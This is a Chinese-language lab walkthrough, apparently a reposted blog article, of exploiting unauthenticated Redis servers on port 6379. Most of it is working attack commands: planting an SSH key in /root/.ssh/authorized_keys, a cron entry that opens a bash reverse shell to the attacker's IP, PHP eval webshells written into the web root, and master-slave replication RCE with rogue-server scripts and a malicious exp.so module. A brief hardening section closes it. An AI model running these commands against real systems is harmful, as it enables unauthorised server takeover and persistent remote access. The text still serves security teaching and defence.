Redis未授权访问漏洞记录(端口:6379)
目錄
Redis
掃描
未授權(quán)登錄以及利用
寫入SSH公鑰,進行遠程登錄
定時任務(wù)反彈shell
寫入一句話木馬?
其它一句話木馬
?
寫入/etc/passwd文件
利用主從復(fù)制RCE
?
本地Redis主從復(fù)制RCE反彈shell
防御方法
Redis
Redis是一個開源的使用ANSI C語言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API。Redis默認使用?6379?端口。
未授權(quán)訪問漏洞
那么Redis的未授權(quán)訪問漏洞是如何產(chǎn)生的呢?由于Redis默認使用6379號端口,并且Redis默認是空密碼而且默認允許遠程連接。一些粗心的網(wǎng)絡(luò)管理員在安裝好Redis后,并沒有去修改他的默認端口,而且也沒有給他設(shè)置密碼的話。這就讓黑客有了可乘之機,黑客可以遠程連接到該數(shù)據(jù)庫。并且,如果Redis是以root身份運行的話,那么黑客就可以通過Redis數(shù)據(jù)庫進行寫入任何文件進行提權(quán),從而操控該服務(wù)器。
這里我們拿一個靶機做實驗,該靶機存在Redis未授權(quán)訪問漏洞,于是,我們在windows端遠程連接該靶機。
攻擊機:192.168.10.27
靶機:192.168.10.32
掃描
我們直接用nmap進行掃描是發(fā)現(xiàn)不了6379漏洞的,因為nmap默認只會掃描前1000個端口。因為這里我們已經(jīng)知道靶機開放了6379端口,所以就直接指定端口進行掃描。
未授權(quán)登錄以及利用
Nmap掃描后發(fā)現(xiàn)主機的6379端口對外網(wǎng)開放,就可以用本地Redis遠程客戶端連接服務(wù)器了,連接后可以獲取Redis敏感數(shù)據(jù),也可以寫入數(shù)據(jù)。我們可以用windows或者linux下的redis客戶端進行遠程登錄,這里我就用windows遠程登錄了,linux懶得安裝。
redis-cli.exe -h 192.168.10.32 #登錄redis數(shù)據(jù)庫的一些基本操作?
info #查看redis的信息和服務(wù)器信息 flushall 刪除所有數(shù)據(jù) del key 刪除鍵為key的數(shù)據(jù) get key 獲得參數(shù)key的數(shù)據(jù)redis數(shù)據(jù)庫的認證
auth?密碼寫入SSH公鑰,進行遠程登錄
關(guān)于SSH公私鑰驗證,我就不多講了,傳送門——>?ssh公私鑰驗證? ?,文章中是在Linux下生成公私鑰。
今天我要教的是在windows下利用XShell生成公私鑰,然后驗證登錄。
打開XShell—>工具—>新建用戶密鑰生成向?qū)А?gt;下一步—>下一步
我這里就用默認名稱,密碼為空密碼,然后下一步—>?是?
保存為文件,然后完成。然后公鑰就會被保存到指定的路徑下,我這里保存到了?redis 客戶端的目錄下,因為待會便于傳輸。我們打開?id_rsa_2048.pub ,在其開頭和結(jié)尾加入幾個回車換行,避免待會寫入redis數(shù)據(jù)庫中和Redis里其他緩存數(shù)據(jù)混合?。
注意:一定要在公鑰的開頭和結(jié)尾加入幾個換行,不然會出錯!!!
然后我們現(xiàn)在如何將這個公鑰傳送到靶機的 /root/.ssh/?目錄下,并且重命名為??authorized_keys 。
執(zhí)行下面的操作
type id_rsa_2048.pub | redis-cli -h 192.168.10.32 -x set j #查看id_rsa_2048.pub的文件內(nèi)容,并且鍵設(shè)置為 j redis-cli -h 192.168.10.32 #登陸到該redis數(shù)據(jù)庫 config set dir /root/.ssh #設(shè)置redis的工作路徑為/root/.ssh config set dbfilename authorized_keys #設(shè)置保存文件名authorized_keys save #保存#上面命令的意思就是,將我們id_rsa_2048.pub的文件內(nèi)容寫入到authorized_keys文件中,并且存放到/root/.ssh 目錄下然后我們現(xiàn)在就可以用XShell以私鑰連接該主機了?
可以看到我們已經(jīng)登陸上了。并且可以在 /root/.ssh/?目錄下看到我們上傳的 authorized_keys 文件,正是由于這個文件的存在,我們才可以在本地用私鑰登錄。
定時任務(wù)反彈shell
我們可以將 linux 反彈 shell 的命令寫入定時任務(wù)中,這樣,我們就可以接收到redis服務(wù)器反彈過來的shell了
我們客戶端先接收一個端口
nc -lvp 8888 #監(jiān)聽8888端口然后執(zhí)行下面的命令
redis-cli -h 192.168.10.32 #登陸到redis數(shù)據(jù)庫 set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" #意思是每隔一分鐘,向192.168.10.27的8888端口反彈shell config set dir /var/spool/cron #設(shè)置工作目錄 config set dbfilename test #設(shè)置文件名,當前用戶叫啥就得命名為啥,當前用戶為test save #保存成文件#上面這幾行命令的意思就是將 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" 這條命令寫入test文件中,并且存放在/var/spool/cron目錄下可以看到,我們這邊已經(jīng)收到反彈回來的shell了?
寫入一句話木馬?
寫入一句話木馬需要我們知道網(wǎng)站的根目錄相對于服務(wù)器的絕對路徑。但是這個靶機網(wǎng)站的根目錄相對于服務(wù)器的絕對路徑很奇葩。不是普通的在? /var/www/html?下,而是在? /var/www/html/dedecms/uploads? 這個目錄下。
執(zhí)行下列命令
redis-cli -h 192.168.10.32 set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" config set dir ?/var/www/html/dedecms/uploads config set dbfilename webshell.php save然后用菜刀連接
可以看到,已經(jīng)連接成功了!
其它一句話木馬
config set dir /var/www/html/ //切換目錄到網(wǎng)站的根目錄set x "\n\n\n<?php phpinfo();?>\n\n\n" //寫入惡意代碼phpinfo()set xx "\n\n\n<?php @eval($_POST['1']);?>\n\n\n" //寫入一句話木馬config set dbfilename a001.php //磁盤中生成木馬文件a001.phpsave //進行保存?可以去靶機看一下
可以看到 被成功寫入了
檢查webshell
kali開啟apache2
vi /etc/apache2/ports.conf修改默認端口為8080
保存退出
啟動apache2服務(wù)
/etc/init.d/apache2 start進行訪問 可以看到是成功的?
寫入/etc/passwd文件
寫入 /etc/passwd?文件,這需要使用?root?權(quán)限才可以寫入。
Redis客戶端:?https://pan.baidu.com/s/1igxEuqTwq77afUQ-LQTV0w? 提取碼: d1hn?
利用主從復(fù)制RCE
之前寫入webshell 基本是利用crontab、ssh key、webshe‖這樣的文件都有一定容錯性,再加上 crontab和ssh服務(wù)可以說是服務(wù)器的標準的服務(wù),所以在以前,這種通過寫入文件的 getshell方式基本就可以說是很通殺了
但隨著現(xiàn)代的服務(wù)部署方式的不斷發(fā)展,組件化成了不可逃避的大趨勢,docker就是這股風潮下的產(chǎn)物之一,而在這種部署模式下,一個單一的容器中不會有除 redis以外的任何服務(wù)存在,包括sh和 crontab,再加上權(quán)限的嚴格控制,只靠寫文件就很難再 getshell了,在這種情況下,我們就需要其他的利用手段了
漏洞存在于4.X、5.X版本中,簡單來講就是
攻擊者(主機)寫一個so文件,然后通過 FULLRESYNC(全局)同步文件到受害人(從機)上。
下載安裝4.0.8的版本
一樣的配置 改bind+改no
然后進行啟動
./src/redis-server redis.conf設(shè)置密碼
config set requirepass a002下載兩個腳本
https://github.com/n0b0dyCN/redis-rogue-server //未授權(quán) https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //Redis有密碼目標靶機是不可以開啟安全模式的
遠程登錄
攻擊機上執(zhí)行 進行遠程連接靶機
python3 redis_rogue_server.py -rhost 192.168.175.162 -lhost 192.168.175.161 -passwd a002他這里問你
i:直接拿到shell
還是r:反彈shell
上面就是拿shell
下面搞一搞 反彈shell
選r 攻擊機的IP +開啟監(jiān)聽端口
python進去pty
python3 -c "import pty;pty.spawn('/bin/bash')"本地Redis主從復(fù)制RCE反彈shell
但是 如果目標機器僅僅允許本地進行登錄的時候
這個時候,我們可以通過配合其他漏洞,從目標本地登錄 redis。然后手動執(zhí)行腳本內(nèi)寫死的一些命令
將靶機 Redis作為從機,將攻擊機器設(shè)置為主機
然后攻擊機器會自動將一些惡意so文件同步給目標機器(從機),從而來實現(xiàn)對目標機器的遠程命令執(zhí)行。
還是用這兩個腳本
https://github.com/n0b0dyCN/redis-rogue-server //未授權(quán) https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //Redis有密碼但是要說一下
將 redis-rogue-server的exp.so文件復(fù)制到 Awsome文件夾中使用,因為exp.so帶 system模塊
開啟監(jiān)聽
攻擊機開啟主服務(wù)器
python3 redis_rogue_server.py -v -path exp.so然后去靶機上
查看模塊 可以看到是沒有的可用的模塊
module list config set dir /tmp //一般tmp目錄都有寫權(quán)限,所以選擇這個目錄寫入 config set dbfilename exp.so //設(shè)置導(dǎo)出文件的名字 這里就是創(chuàng)建一個空文件 slaveof 192.168.175.161 15000 //進行主從同步,將惡意so文件寫入到tmp文件 //端口可以自定義?然后就可以看到攻擊機這邊開始了同步
?
關(guān)閉主從同步
slaveof NO ONE module load ./exp.so //加載寫入的so文件模塊 module list //?查看惡意的so文件有沒有寫入成功執(zhí)行反彈shell
system.rev 192.168.175.161 9999就是沒有回顯
然后去攻擊機那邊進行查看?
可以看到已經(jīng)拿到了
python進入pty
python3 -c "import pty;pty.spawn('/bin/bash')"還可以用另外一種方式
直接執(zhí)行命令
system.exec "id"防御方法
到redis安裝目錄下,配置redis.conf文件:
 1、默認只對本地開放
 bind 127.0.0.1
 2、添加登陸密碼
>>修改 redis.conf 文件,添加
 requirepass? mypasswd
 3、在需要對外開放的時候修改默認端口(端口不重復(fù)就可以)
 port 2344
4、以低權(quán)限運行 Redis 服務(wù)(重啟redis才能生效)
>>為 Redis 服務(wù)創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸
5、最后還可以配合iptables限制開放
總結(jié)
以上是生活随笔為你收集整理的Redis未授权访问漏洞记录(端口:6379)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: USACO-Section2.3 Con
- 下一篇: 数字三角形W(加强版) cod
